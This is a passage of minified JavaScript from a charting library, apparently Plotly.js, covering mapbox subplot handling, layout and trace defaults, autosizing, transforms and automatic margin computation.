p=E[this.id].domain,A=E._size,m=this.div.style;m.width=A.w*(p.x[1]-p.x[0])+"px",m.height=A.h*(p.y[1]-p.y[0])+"px",m.left=A.l+p.x[0]*A.w+"px",m.top=A.t+(1-p.y[1])*A.h+"px",this.xaxis._offset=A.l+p.x[0]*A.w,this.xaxis._length=A.w*(p.x[1]-p.x[0]),this.yaxis._offset=A.t+(1-p.y[1])*A.h,this.yaxis._length=A.h*(p.y[1]-p.y[0])},h.updateLayers=function(E){var p=E[this.id],A=p.layers,m=this.layerList,n;if(A.length!==m.length){for(n=0;n<m.length;n++)m[n].dispose();for(m=this.layerList=[],n=0;n<A.length;n++)m.push(c(this,n,A[n]))}else for(n=0;n<A.length;n++)m[n].update(A[n])},h.destroy=function(){this.map&&(this.map.remove(),this.map=null,this.container.removeChild(this.div))},h.toImage=function(){return this.map.stop(),this.map.getCanvas().toDataURL()},h.setOptions=function(E,p,A){for(var m in A)this.map[p](E,m,A[m])},h.getMapLayers=function(){return this.map.getStyle().layers},h.addLayer=function(E,p){var A=this.map;if(typeof p=="string"){if(p===""){A.addLayer(E,p);return}for(var m=this.getMapLayers(),n=0;n<m.length;n++)if(p===m[n].id){A.addLayer(E,p);return}P.warn(["Trying to add layer with *below* value",p,"referencing a layer that does not exist","or that does not yet exist."].join(" "))}A.addLayer(E)},h.project=function(E){return this.map.project(new M.LngLat(E[0],E[1]))},h.getView=function(){var E=this.map,p=E.getCenter(),A=p.lng,m=p.lat,n={lon:A,lat:m},C=E.getCanvas(),x=parseInt(C.style.width),I=parseInt(C.style.height);return{center:n,zoom:E.getZoom(),bearing:E.getBearing(),pitch:E.getPitch(),_derived:{coordinates:[E.unproject([0,0]).toArray(),E.unproject([x,0]).toArray(),E.unproject([x,I]).toArray(),E.unproject([0,I]).toArray()]}}},h.getViewEdits=function(E){for(var p=this.id,A=["center","zoom","bearing","pitch"],m={},n=0;n<A.length;n++){var C=A[n];m[p+"."+C]=E[C]}return m},h.getViewEditsWithDerived=function(E){var p=this.id,A=this.getViewEdits(E);return A[p+"._derived"]=E._derived,A};function v(E){var p={};return P.isPlainObject(E)?(p.id=E.id,p.style=E):typeof E=="string"?(p.id=E,y.styleValuesMapbox.indexOf(E)!==-1?p.style=T(E):y.stylesNonMapbox[E]?p.style=y.stylesNonMapbox[E]:p.style=E):(p.id=y.styleValueDflt,p.style=T(y.styleValueDflt)),p.transition={duration:0,delay:0},p}function T(E){return y.styleUrlPrefix+E+"-"+y.styleUrlSuffix}function w(E){return[E.lon,E.lat]}te.exports=b},35025:function(te){te.exports=function(Z){var e=Z.editType;return{t:{valType:"number",dflt:0,editType:e},r:{valType:"number",dflt:0,editType:e},b:{valType:"number",dflt:0,editType:e},l:{valType:"number",dflt:0,editType:e},editType:e}}},74875:function(te,Z,e){var M=e(39898),P=e(84096).Dq,o=e(60721).FF,L=e(92770),S=e(73972),d=e(86281),g=e(44467),t=e(71828),r=e(7901),f=e(50606).BADNUM,a=e(41675),l=e(51873).clearOutline,u=e(21479),s=e(85594),y=e(31391),c=e(27659).a0,b=t.relinkPrivateKeys,h=t._,i=te.exports={};t.extendFlat(i,S),i.attributes=e(9012),i.attributes.type.values=i.allTypes,i.fontAttrs=e(41940),i.layoutAttributes=e(10820),i.fontWeight="normal";var v=i.transformsRegistry,T=e(31137);i.executeAPICommand=T.executeAPICommand,i.computeAPICommandBindings=T.computeAPICommandBindings,i.manageCommandObserver=T.manageCommandObserver,i.hasSimpleAPICommandBindings=T.hasSimpleAPICommandBindings,i.redrawText=function(V){return V=t.getGraphDiv(V),new Promise(function(Y){setTimeout(function(){V._fullLayout&&(S.getComponentMethod("annotations","draw")(V),S.getComponentMethod("legend","draw")(V),S.getComponentMethod("colorbar","draw")(V),Y(i.previousPromises(V)))},300)})},i.resize=function(V){V=t.getGraphDiv(V);var Y,Q=new Promise(function(ie,j){(!V||t.isHidden(V))&&j(new Error("Resize must be passed a displayed plot div element.")),V._redrawTimer&&clearTimeout(V._redrawTimer),V._resolveResize&&(Y=V._resolveResize),V._resolveResize=ie,V._redrawTimer=setTimeout(function(){if(!V.layout||V.layout.width&&V.layout.height||t.isHidden(V)){ie(V);return}delete V.layout.width,delete V.layout.height;var K=V.changed;V.autoplay=!0,S.call("relayout",V,{autosize:!0}).then(function(){V.changed=K,V._resolveResize===ie&&(delete V._resolveResize,ie(V))})},100)});return Y&&Y(Q),Q},i.previousPromises=function(V){if((V._promises||[]).length)return Promise.all(V._promises).then(function(){V._promises=[]})},i.addLinks=function(V){if(!(!V._context.showLink&&!V._context.showSources)){var Y=V._fullLayout,Q=t.ensureSingle(Y._paper,"text","js-plot-link-container",function(le){le.style({"font-family":'"Open Sans", Arial, sans-serif',"font-size":"12px",fill:r.defaultLine,"pointer-events":"all"}).each(function(){var pe=M.select(this);pe.append("tspan").classed("js-link-to-tool",!0),pe.append("tspan").classed("js-link-spacer",!0),pe.append("tspan").classed("js-sourcelinks",!0)})}),ie=Q.node(),j={y:Y._paper.attr("height")-9};document.body.contains(ie)&&ie.getComputedTextLength()>=Y.width-20?(j["text-anchor"]="start",j.x=5):(j["text-anchor"]="end",j.x=Y._paper.attr("width")-7),Q.attr(j);var K=Q.select(".js-link-to-tool"),oe=Q.select(".js-link-spacer"),re=Q.select(".js-sourcelinks");V._context.showSources&&V._context.showSources(V),V._context.showLink&&w(V,K),oe.text(K.text()&&re.text()?" - ":"")}};function w(V,Y){Y.text("");var Q=Y.append("a").attr({"xlink:xlink:href":"#",class:"link--impt link--embedview","font-weight":"bold"}).text(V._context.linkText+" »");if(V._context.sendData)Q.on("click",function(){i.sendDataToCloud(V)});else{var ie=window.location.pathname.split("/"),j=window.location.search;Q.attr({"xlink:xlink:show":"new","xlink:xlink:href":"/"+ie[2].split(".")[0]+"/"+ie[1]+j})}}i.sendDataToCloud=function(V){var Y=(window.PLOTLYENV||{}).BASE_URL||V._context.plotlyServerURL;if(Y){V.emit("plotly_beforeexport");var Q=M.select(V).append("div").attr("id","hiddenform").style("display","none"),ie=Q.append("form").attr({action:Y+"/external",method:"post",target:"_blank"}),j=ie.append("input").attr({type:"text",name:"data"});return j.node().value=i.graphJson(V,!1,"keepdata"),ie.node().submit(),Q.remove(),V.emit("plotly_afterexport"),!1}};var E=["days","shortDays","months","shortMonths","periods","dateTime","date","time","decimal","thousands","grouping","currency"],p=["year","month","dayMonth","dayMonthYear"];i.supplyDefaults=function(V,Y){var Q=Y&&Y.skipUpdateCalc,ie=V._fullLayout||{};if(ie._skipDefaults){delete ie._skipDefaults;return}var j=V._fullLayout={},K=V.layout||{},oe=V._fullData||[],re=V._fullData=[],le=V.data||[],pe=V.calcdata||[],we=V._context||{},xe;V._transitionData||i.createTransitionData(V),j._dfltTitle={plot:h(V,"Click to enter Plot title"),x:h(V,"Click to enter X axis title"),y:h(V,"Click to enter Y axis title"),colorbar:h(V,"Click to enter Colorscale title"),annotation:h(V,"new text")},j._traceWord=h(V,"trace");var ke=n(V,E);if(j._mapboxAccessToken=we.mapboxAccessToken,ie._initialAutoSizeIsDone){var _e=ie.width,be=ie.height;i.supplyLayoutGlobalDefaults(K,j,ke),K.width||(j.width=_e),K.height||(j.height=be),i.sanitizeMargins(j)}else{i.supplyLayoutGlobalDefaults(K,j,ke);var ge=!K.width||!K.height,Te=j.autosize,Fe=we.autosizable,Oe=ge&&(Te||Fe);Oe?i.plotAutoSize(V,K,j):ge&&i.sanitizeMargins(j),!Te&&ge&&(K.width=j.width,K.height=j.height)}j._d3locale=C(ke,j.separators),j._extraFormat=n(V,p),j._initialAutoSizeIsDone=!0,j._dataLength=le.length,j._modules=[],j._visibleModules=[],j._basePlotModules=[];var Ce=j._subplots=m(),Be=j._splomAxes={x:{},y:{}},$e=j._splomSubplots={};j._splomGridDflt={},j._scatterStackOpts={},j._firstScatter={},j._alignmentOpts={},j._colorAxes={},j._requestRangeslider={},j._traceUids=A(oe,le),j._globalTransforms=(V._context||{}).globalTransforms,i.supplyDataDefaults(le,re,K,j);var Xe=Object.keys(Be.x),Ze=Object.keys(Be.y);if(Xe.length>1&&Ze.length>1){for(S.getComponentMethod("grid","sizeDefaults")(K,j),xe=0;xe<Xe.length;xe++)t.pushUnique(Ce.xaxis,Xe[xe]);for(xe=0;xe<Ze.length;xe++)t.pushUnique(Ce.yaxis,Ze[xe]);for(var Ke in $e)t.pushUnique(Ce.cartesian,Ke)}if(j._has=i._hasPlotType.bind(j),oe.length===re.length)for(xe=0;xe<re.length;xe++)b(re[xe],oe[xe]);i.supplyLayoutModuleDefaults(K,j,re,V._transitionData);var st=j._visibleModules,lt=[];for(xe=0;xe<st.length;xe++){var ut=st[xe].crossTraceDefaults;ut&&t.pushUnique(lt,ut)}for(xe=0;xe<lt.length;xe++)lt[xe](re,j);j._hasOnlyLargeSploms=j._basePlotModules.length===1&&j._basePlotModules[0].name==="splom"&&Xe.length>15&&Ze.length>15&&j.shapes.length===0&&j.images.length===0,i.linkSubplots(re,j,oe,ie),i.cleanPlot(re,j,oe,ie);var yt=!!(ie._has&&ie._has("gl2d")),bt=!!(j._has&&j._has("gl2d")),Ot=!!(ie._has&&ie._has("cartesian")),Ge=!!(j._has&&j._has("cartesian")),Le=Ot||yt,Pe=Ge||bt;Le&&!Pe?ie._bgLayer.remove():Pe&&!Le&&(j._shouldCreateBgLayer=!0),ie._zoomlayer&&!V._dragging&&l({_fullLayout:ie}),x(re,j),b(j,ie),S.getComponentMethod("colorscale","crossTraceDefaults")(re,j),j._preGUI||(j._preGUI={}),j._tracePreGUI||(j._tracePreGUI={});var De=j._tracePreGUI,Ee={},ye;for(ye in De)Ee[ye]="old";for(xe=0;xe<re.length;xe++)ye=re[xe]._fullInput.uid,Ee[ye]||(De[ye]={}),Ee[ye]="new";for(ye in Ee)Ee[ye]==="old"&&delete De[ye];F(j),S.getComponentMethod("rangeslider","makeData")(j),!Q&&pe.length===re.length&&i.supplyDefaultsUpdateCalc(pe,re)},i.supplyDefaultsUpdateCalc=function(V,Y){for(var Q=0;Q<Y.length;Q++){var ie=Y[Q],j=(V[Q]||[])[0];if(j&&j.trace){var K=j.trace;if(K._hasCalcTransform){var oe=K._arrayAttrs,re,le,pe;for(re=0;re<oe.length;re++)le=oe[re],pe=t.nestedProperty(K,le).get().slice(),t.nestedProperty(ie,le).set(pe)}j.trace=ie}}};function A(V,Y){var Q=Y.length,ie=[],j,K;for(j=0;j<V.length;j++){var oe=V[j]._fullInput;oe!==K&&ie.push(oe),K=oe}var re=ie.length,le=new Array(Q),pe={};function we(_e,be){le[be]=_e,pe[_e]=1}function xe(_e,be){if(_e&&typeof _e=="string"&&!pe[_e])return we(_e,be),!0}for(j=0;j<Q;j++){var ke=Y[j].uid;typeof ke=="number"&&(ke=String(ke)),!xe(ke,j)&&(j<re&&xe(ie[j].uid,j)||we(t.randstr(pe),j))}return le}function m(){var V=S.collectableSubplotTypes,Y={},Q,ie;if(!V){V=[];var j=S.subplotsRegistry;for(var K in j){var oe=j[K],re=oe.attr;if(re&&(V.push(K),Array.isArray(re)))for(ie=0;ie<re.length;ie++)t.pushUnique(V,re[ie])}}for(Q=0;Q<V.length;Q++)Y[V[Q]]=[];return Y}function n(V,Y){var Q=V._context.locale;Q||(Q="en-US");var ie=!1,j={};function K(xe){for(var ke=!0,_e=0;_e<Y.length;_e++){var be=Y[_e];j[be]||(xe[be]?j[be]=xe[be]:ke=!1)}ke&&(ie=!0)}for(var oe=0;oe<2;oe++){for(var re=V._context.locales,le=0;le<2;le++){var pe=(re[Q]||{}).format;if(pe&&(K(pe),ie))break;re=S.localeRegistry}var we=Q.split("-")[0];if(ie||we===Q)break;Q=we}return ie||K(S.localeRegistry.en.format),j}function C(V,Y){return V.decimal=Y.charAt(0),V.thousands=Y.charAt(1),{numberFormat:function(Q){try{Q=o(V).format(t.adjustFormat(Q))}catch{return t.warnBadFormat(Q),t.noFormat}return Q},timeFormat:P(V).utcFormat}}function x(V,Y){var Q,ie=[];Y.meta&&(Q=Y._meta={meta:Y.meta,layout:{meta:Y.meta}});for(var j=0;j<V.length;j++){var K=V[j];K.meta?ie[K.index]=K._meta={meta:K.meta}:Y.meta&&(K._meta={meta:Y.meta}),Y.meta&&(K._meta.layout={meta:Y.meta})}ie.length&&(Q||(Q=Y._meta={}),Q.data=ie)}i.createTransitionData=function(V){V._transitionData||(V._transitionData={}),V._transitionData._frames||(V._transitionData._frames=[]),V._transitionData._frameHash||(V._transitionData._frameHash={}),V._transitionData._counter||(V._transitionData._counter=0),V._transitionData._interruptCallbacks||(V._transitionData._interruptCallbacks=[])},i._hasPlotType=function(V){var Y,Q=this._basePlotModules||[];for(Y=0;Y<Q.length;Y++)if(Q[Y].name===V)return!0;var ie=this._modules||[];for(Y=0;Y<ie.length;Y++){var j=ie[Y].name;if(j===V)return!0;var K=S.modules[j];if(K&&K.categories[V])return!0}return!1},i.cleanPlot=function(V,Y,Q,ie){var j,K,oe=ie._basePlotModules||[];for(j=0;j<oe.length;j++){var re=oe[j];re.clean&&re.clean(V,Y,Q,ie)}var le=ie._has&&ie._has("gl"),pe=Y._has&&Y._has("gl");le&&!pe&&ie._glcontainer!==void 0&&(ie._glcontainer.selectAll(".gl-canvas").remove(),ie._glcontainer.selectAll(".no-webgl").remove(),ie._glcanvas=null);var we=!!ie._infolayer;e:for(j=0;j<Q.length;j++){var xe=Q[j],ke=xe.uid;for(K=0;K<V.length;K++){var _e=V[K];if(ke===_e.uid)continue e}we&&ie._infolayer.select(".cb"+ke).remove()}},i.linkSubplots=function(V,Y,Q,ie){var j,K,oe=ie._plots||{},re=Y._plots={},le=Y._subplots,pe={_fullData:V,_fullLayout:Y},we=le.cartesian.concat(le.gl2d||[]);for(j=0;j<we.length;j++){var xe=we[j],ke=oe[xe],_e=a.getFromId(pe,xe,"x"),be=a.getFromId(pe,xe,"y"),ge;for(ke?ge=re[xe]=ke:(ge=re[xe]={},ge.id=xe),_e._counterAxes.push(be._id),be._counterAxes.push(_e._id),_e._subplotsWith.push(xe),be._subplotsWith.push(xe),ge.xaxis=_e,ge.yaxis=be,ge._hasClipOnAxisFalse=!1,K=0;K<V.length;K++){var Te=V[K];if(Te.xaxis===ge.xaxis._id&&Te.yaxis===ge.yaxis._id&&Te.cliponaxis===!1){ge._hasClipOnAxisFalse=!0;break}}}var Fe=a.list(pe,null,!0),Oe;for(j=0;j<Fe.length;j++){Oe=Fe[j];var Ce=null;Oe.overlaying&&(Ce=a.getFromId(pe,Oe.overlaying),Ce&&Ce.overlaying&&(Oe.overlaying=!1,Ce=null)),Oe._mainAxis=Ce||Oe,Ce&&(Oe.domain=Ce.domain.slice()),Oe._anchorAxis=Oe.anchor==="free"?null:a.getFromId(pe,Oe.anchor)}for(j=0;j<Fe.length;j++)if(Oe=Fe[j],Oe._counterAxes.sort(a.idSort),Oe._subplotsWith.sort(t.subplotSort),Oe._mainSubplot=I(Oe,Y),Oe._counterAxes.length&&(Oe.spikemode&&Oe.spikemode.indexOf("across")!==-1||Oe.automargin&&Oe.mirror&&Oe.anchor!=="free"||S.getComponentMethod("rangeslider","isVisible")(Oe))){var Be=1,$e=0;for(K=0;K<Oe._counterAxes.length;K++){var Xe=a.getFromId(pe,Oe._counterAxes[K]);Be=Math.min(Be,Xe.domain[0]),$e=Math.max($e,Xe.domain[1])}Be<$e&&(Oe._counterDomainMin=Be,Oe._counterDomainMax=$e)}};function I(V,Y){var Q={_fullLayout:Y},ie=V._id.charAt(0)==="x",j=V._mainAxis._anchorAxis,K="",oe="",re="";if(j&&(re=j._mainAxis._id,K=ie?V._id+re:re+V._id),!K||!Y._plots[K]){K="";for(var le=V._counterAxes,pe=0;pe<le.length;pe++){var we=le[pe],xe=ie?V._id+we:we+V._id;oe||(oe=xe);var ke=a.getFromId(Q,we);if(re&&ke.overlaying===re){K=xe;break}}}return K||oe}i.clearExpandedTraceDefaultColors=function(V){var Y,Q,ie;function j(oe,re,le,pe){Q[pe]=re,Q.length=pe+1,oe.valType==="color"&&oe.dflt===void 0&&Y.push(Q.join("."))}for(Q=[],Y=V._module._colorAttrs,Y||(V._module._colorAttrs=Y=[],d.crawl(V._module.attributes,j)),ie=0;ie<Y.length;ie++){var K=t.nestedProperty(V,"_input."+Y[ie]);K.get()||t.nestedProperty(V,Y[ie]).set(null)}},i.supplyDataDefaults=function(V,Y,Q,ie){var j=ie._modules,K=ie._visibleModules,oe=ie._basePlotModules,re=0,le=0,pe,we,xe;ie._transformModules=[];function ke(Ze){Y.push(Ze);var Ke=Ze._module;Ke&&(t.pushUnique(j,Ke),Ze.visible===!0&&t.pushUnique(K,Ke),t.pushUnique(oe,Ze._module.basePlotModule),re++,Ze._input.visible!==!1&&le++)}var _e={},be=[],ge=(Q.template||{}).data||{},Te=g.traceTemplater(ge);for(pe=0;pe<V.length;pe++){if(xe=V[pe],we=Te.newTrace(xe),we.uid=ie._traceUids[pe],i.supplyTraceDefaults(xe,we,le,ie,pe),we.index=pe,we._input=xe,we._expandedIndex=re,we.transforms&&we.transforms.length)for(var Fe=xe.visible!==!1&&we.visible===!1,Oe=B(we,Y,Q,ie),Ce=0;Ce<Oe.length;Ce++){var Be=Oe[Ce],$e={_template:we._template,type:we.type,uid:we.uid+Ce};Fe&&Be.visible===!1&&delete Be.visible,i.supplyTraceDefaults(Be,$e,re,ie,pe),b($e,Be),$e.index=pe,$e._input=xe,$e._fullInput=we,$e._expandedIndex=re,$e._expandedInput=Be,ke($e)}else we._fullInput=we,we._expandedInput=we,ke(we);S.traceIs(we,"carpetAxis")&&(_e[we.carpet]=we),S.traceIs(we,"carpetDependent")&&be.push(pe)}for(pe=0;pe<be.length;pe++)if(we=Y[be[pe]],!!we.visible){var Xe=_e[we.carpet];if(we._carpet=Xe,!Xe||!Xe.visible){we.visible=!1;continue}we.xaxis=Xe.xaxis,we.yaxis=Xe.yaxis}},i.supplyAnimationDefaults=function(V){V=V||{};var Y,Q={};function ie(j,K){return t.coerce(V||{},Q,s,j,K)}if(ie("mode"),ie("direction"),ie("fromcurrent"),Array.isArray(V.frame))for(Q.frame=[],Y=0;Y<V.frame.length;Y++)Q.frame[Y]=i.supplyAnimationFrameDefaults(V.frame[Y]||{});else Q.frame=i.supplyAnimationFrameDefaults(V.frame||{});if(Array.isArray(V.transition))for(Q.transition=[],Y=0;Y<V.transition.length;Y++)Q.transition[Y]=i.supplyAnimationTransitionDefaults(V.transition[Y]||{});else Q.transition=i.supplyAnimationTransitionDefaults(V.transition||{});return Q},i.supplyAnimationFrameDefaults=function(V){var Y={};function Q(ie,j){return t.coerce(V||{},Y,s.frame,ie,j)}return Q("duration"),Q("redraw"),Y},i.supplyAnimationTransitionDefaults=function(V){var Y={};function Q(ie,j){return t.coerce(V||{},Y,s.transition,ie,j)}return Q("duration"),Q("easing"),Y},i.supplyFrameDefaults=function(V){var Y={};function Q(ie,j){return t.coerce(V,Y,y,ie,j)}return Q("group"),Q("name"),Q("traces"),Q("baseframe"),Q("data"),Q("layout"),Y},i.supplyTraceDefaults=function(V,Y,Q,ie,j){var K=ie.colorway||r.defaults,oe=K[Q%K.length],re;function le(Oe,Ce){return t.coerce(V,Y,i.attributes,Oe,Ce)}var pe=le("visible");le("type"),le("name",ie._traceWord+" "+j),le("uirevision",ie.uirevision);var we=i.getModule(Y);if(Y._module=we,we){var xe=we.basePlotModule,ke=xe.attr,_e=xe.attributes;if(ke&&_e){var be=ie._subplots,ge="";if(pe||xe.name!=="gl2d"){if(Array.isArray(ke))for(re=0;re<ke.length;re++){var Te=ke[re],Fe=t.coerce(V,Y,_e,Te);be[Te]&&t.pushUnique(be[Te],Fe),ge+=Fe}else ge=t.coerce(V,Y,_e,ke);be[xe.name]&&t.pushUnique(be[xe.name],ge)}}}return pe&&(le("customdata"),le("ids"),le("meta"),S.traceIs(Y,"showLegend")?(t.coerce(V,Y,we.attributes.showlegend?we.attributes:i.attributes,"showlegend"),le("legend"),le("legendwidth"),le("legendgroup"),le("legendgrouptitle.text"),le("legendrank"),Y._dfltShowLegend=!0):Y._dfltShowLegend=!1,we&&we.supplyDefaults(V,Y,oe,ie),S.traceIs(Y,"noOpacity")||le("opacity"),S.traceIs(Y,"notLegendIsolatable")&&(Y.visible=!!Y.visible),S.traceIs(Y,"noHover")||(Y.hovertemplate||t.coerceHoverinfo(V,Y,ie),Y.type!=="parcats"&&S.getComponentMethod("fx","supplyDefaults")(V,Y,oe,ie)),we&&we.selectPoints&&le("selectedpoints"),i.supplyTransformDefaults(V,Y,ie)),Y};function k(V){var Y=V.transforms;if(Array.isArray(Y)&&Y.length)for(var Q=0;Q<Y.length;Q++){var ie=Y[Q],j=ie._module||v[ie.type];if(j&&j.makesData)return!0}return!1}i.hasMakesDataTransform=k,i.supplyTransformDefaults=function(V,Y,Q){if(Y._length||k(V)){var ie=Q._globalTransforms||[],j=Q._transformModules||[];if(!(!Array.isArray(V.transforms)&&ie.length===0))for(var K=V.transforms||[],oe=ie.concat(K),re=Y.transforms=[],le=0;le<oe.length;le++){var pe=oe[le],we=pe.type,xe=v[we],ke,_e=!(pe._module&&pe._module===xe),be=xe&&typeof xe.transform=="function";xe||t.warn("Unrecognized transform type "+we+"."),xe&&xe.supplyDefaults&&(_e||be)?(ke=xe.supplyDefaults(pe,Y,Q,V),ke.type=we,ke._module=xe,t.pushUnique(j,xe)):ke=t.extendFlat({},pe),re.push(ke)}}};function B(V,Y,Q,ie){for(var j=V.transforms,K=[V],oe=0;oe<j.length;oe++){var re=j[oe],le=v[re.type];le&&le.transform&&(K=le.transform(K,{transform:re,fullTrace:V,fullData:Y,layout:Q,fullLayout:ie,transformIndex:oe}))}return K}i.supplyLayoutGlobalDefaults=function(V,Y,Q){function ie(xe,ke){return t.coerce(V,Y,i.layoutAttributes,xe,ke)}var j=V.template;t.isPlainObject(j)&&(Y.template=j,Y._template=j.layout,Y._dataTemplate=j.data),ie("autotypenumbers");var K=t.coerceFont(ie,"font"),oe=K.size;t.coerceFont(ie,"title.font",t.extendFlat({},K,{size:Math.round(oe*1.4)})),ie("title.text",Y._dfltTitle.plot),ie("title.xref");var re=ie("title.yref");ie("title.pad.t"),ie("title.pad.r"),ie("title.pad.b"),ie("title.pad.l");var le=ie("title.automargin");ie("title.x"),ie("title.xanchor"),ie("title.y"),ie("title.yanchor"),le&&(re==="paper"&&(Y.title.y!==0&&(Y.title.y=1),Y.title.yanchor==="auto"&&(Y.title.yanchor=Y.title.y===0?"top":"bottom")),re==="container"&&(Y.title.y==="auto"&&(Y.title.y=1),Y.title.yanchor==="auto"&&(Y.title.yanchor=Y.title.y<.5?"bottom":"top")));var pe=ie("uniformtext.mode");pe&&ie("uniformtext.minsize"),ie("autosize",!(V.width&&V.height)),ie("width"),ie("height"),ie("minreducedwidth"),ie("minreducedheight"),ie("margin.l"),ie("margin.r"),ie("margin.t"),ie("margin.b"),ie("margin.pad"),ie("margin.autoexpand"),V.width&&V.height&&i.sanitizeMargins(Y),S.getComponentMethod("grid","sizeDefaults")(V,Y),ie("paper_bgcolor"),ie("separators",Q.decimal+Q.thousands),ie("hidesources"),ie("colorway"),ie("datarevision");var we=ie("uirevision");ie("editrevision",we),ie("selectionrevision",we),S.getComponentMethod("modebar","supplyLayoutDefaults")(V,Y),S.getComponentMethod("shapes","supplyDrawNewShapeDefaults")(V,Y,ie),S.getComponentMethod("selections","supplyDrawNewSelectionDefaults")(V,Y,ie),ie("meta"),t.isPlainObject(V.transition)&&(ie("transition.duration"),ie("transition.easing"),ie("transition.ordering")),S.getComponentMethod("calendars","handleDefaults")(V,Y,"calendar"),S.getComponentMethod("fx","supplyLayoutGlobalDefaults")(V,Y,ie),t.coerce(V,Y,u,"scattermode")};function _(V){return typeof V=="string"&&V.substr(V.length-2)==="px"&&parseFloat(V)}i.plotAutoSize=function(Y,Q,ie){var j=Y._context||{},K=j.frameMargins,oe,re,le=t.isPlotDiv(Y);if(le&&Y.emit("plotly_autosize"),j.fillFrame)oe=window.innerWidth,re=window.innerHeight,document.body.style.overflow="hidden";else{var pe=le?window.getComputedStyle(Y):{};if(oe=_(pe.width)||_(pe.maxWidth)||ie.width,re=_(pe.height)||_(pe.maxHeight)||ie.height,L(K)&&K>0){var we=1-2*K;oe=Math.round(we*oe),re=Math.round(we*re)}}var xe=i.layoutAttributes.width.min,ke=i.layoutAttributes.height.min;oe<xe&&(oe=xe),re<ke&&(re=ke);var _e=!Q.width&&Math.abs(ie.width-oe)>1,be=!Q.height&&Math.abs(ie.height-re)>1;(be||_e)&&(_e&&(ie.width=oe),be&&(ie.height=re)),Y._initialAutoSize||(Y._initialAutoSize={width:oe,height:re}),i.sanitizeMargins(ie)},i.supplyLayoutModuleDefaults=function(V,Y,Q,ie){var j=S.componentsRegistry,K=Y._basePlotModules,oe,re,le,pe=S.subplotsRegistry.cartesian;for(oe in j)le=j[oe],le.includeBasePlot&&le.includeBasePlot(V,Y);K.length||K.push(pe),Y._has("cartesian")&&(S.getComponentMethod("grid","contentDefaults")(V,Y),pe.finalizeSubplots(V,Y));for(var we in Y._subplots)Y._subplots[we].sort(t.subplotSort);for(re=0;re<K.length;re++)le=K[re],le.supplyLayoutDefaults&&le.supplyLayoutDefaults(V,Y,Q);var xe=Y._modules;for(re=0;re<xe.length;re++)le=xe[re],le.supplyLayoutDefaults&&le.supplyLayoutDefaults(V,Y,Q);var ke=Y._transformModules;for(re=0;re<ke.length;re++)le=ke[re],le.supplyLayoutDefaults&&le.supplyLayoutDefaults(V,Y,Q,ie);for(oe in j)le=j[oe],le.supplyLayoutDefaults&&le.supplyLayoutDefaults(V,Y,Q)},i.purge=function(V){var Y=V._fullLayout||{};Y._glcontainer!==void 0&&(Y._glcontainer.selectAll(".gl-canvas").remove(),Y._glcontainer.remove(),Y._glcanvas=null),Y._modeBar&&Y._modeBar.destroy(),V._transitionData&&(V._transitionData._interruptCallbacks&&(V._transitionData._interruptCallbacks.length=0),V._transitionData._animationRaf&&window.cancelAnimationFrame(V._transitionData._animationRaf)),t.clearThrottle(),t.clearResponsive(V),delete V.data,delete V.layout,delete V._fullData,delete V._fullLayout,delete V.calcdata,delete V.empty,delete V.fid,delete V.undoqueue,delete V.undonum,delete V.autoplay,delete V.changed,delete V._promises,delete V._redrawTimer,delete V._hmlumcount,delete V._hmpixcount,delete V._transitionData,delete V._transitioning,delete V._initialAutoSize,delete V._transitioningWithDuration,delete V._dragging,delete V._dragged,delete V._dragdata,delete V._hoverdata,delete V._snapshotInProgress,delete V._editing,delete V._mouseDownTime,delete V._legendMouseDownTime,V.removeAllListeners&&V.removeAllListeners()},i.style=function(V){var Y=V._fullLayout._visibleModules,Q=[],ie;for(ie=0;ie<Y.length;ie++){var j=Y[ie];j.style&&t.pushUnique(Q,j.style)}for(ie=0;ie<Q.length;ie++)Q[ie](V)},i.sanitizeMargins=function(V){if(!(!V||!V.margin)){var Y=V.width,Q=V.height,ie=V.margin,j=Y-(ie.l+ie.r),K=Q-(ie.t+ie.b),oe;j<0&&(oe=(Y-1)/(ie.l+ie.r),ie.l=Math.floor(oe*ie.l),ie.r=Math.floor(oe*ie.r)),K<0&&(oe=(Q-1)/(ie.t+ie.b),ie.t=Math.floor(oe*ie.t),ie.b=Math.floor(oe*ie.b))}},i.clearAutoMarginIds=function(V){V._fullLayout._pushmarginIds={}},i.allowAutoMargin=function(V,Y){V._fullLayout._pushmarginIds[Y]=1};function F(V){var Y=V.margin;if(!V._size){var Q=V._size={l:Math.round(Y.l),r:Math.round(Y.r),t:Math.round(Y.t),b:Math.round(Y.b),p:Math.round(Y.pad)};Q.w=Math.round(V.width)-Q.l-Q.r,Q.h=Math.round(V.height)-Q.t-Q.b}V._pushmargin||(V._pushmargin={}),V._pushmarginIds||(V._pushmarginIds={}),V._reservedMargin||(V._reservedMargin={})}var O=2,z=2;i.autoMargin=function(V,Y,Q){var ie=V._fullLayout,j=ie.width,K=ie.height,oe=ie.margin,re=ie.minreducedwidth,le=ie.minreducedheight,pe=t.constrain(j-oe.l-oe.r,O,re),we=t.constrain(K-oe.t-oe.b,z,le),xe=Math.max(0,j-pe),ke=Math.max(0,K-we),_e=ie._pushmargin,be=ie._pushmarginIds;if(oe.autoexpand!==!1){if(!Q)delete _e[Y],delete be[Y];else{var ge=Q.pad;if(ge===void 0&&(ge=Math.min(12,oe.l,oe.r,oe.t,oe.b)),xe){var Te=(Q.l+Q.r)/xe;Te>1&&(Q.l/=Te,Q.r/=Te)}if(ke){var Fe=(Q.t+Q.b)/ke;Fe>1&&(Q.t/=Fe,Q.b/=Fe)}var Oe=Q.xl!==void 0?Q.xl:Q.x,Ce=Q.xr!==void 0?Q.xr:Q.x,Be=Q.yt!==void 0?Q.yt:Q.y,$e=Q.yb!==void 0?Q.yb:Q.y;_e[Y]={l:{val:Oe,size:Q.l+ge},r:{val:Ce,size:Q.r+ge},b:{val:$e,size:Q.b+ge},t:{val:Be,size:Q.t+ge}},be[Y]=1}if(!ie._replotting)return i.doAutoMargin(V)}};function N(V){if("_redrawFromAutoMarginCount"in V._fullLayout)return!1;var Y=a.list(V,"",!0);for(var Q in Y)if(Y[Q].autoshift||Y[Q].shift)return!0;return!1}i.doAutoMargin=function(V){var Y=V._fullLayout,Q=Y.width,ie=Y.height;Y._size||(Y._size={}),F(Y);var j=Y._size,K=Y.margin,oe={t:0,b:0,l:0,r:0},re=t.extendFlat({},j),le=K.l,pe=K.r,we=K.t,xe=K.b,ke=Y._pushmargin,_e=Y._pushmarginIds,be=Y.minreducedwidth,ge=Y.minreducedheight;if(K.autoexpand!==!1){for(var Te in ke)_e[Te]||delete ke[Te];var Fe=V._fullLayout._reservedMargin;for(var Oe in Fe)for(var Ce in Fe[Oe]){var 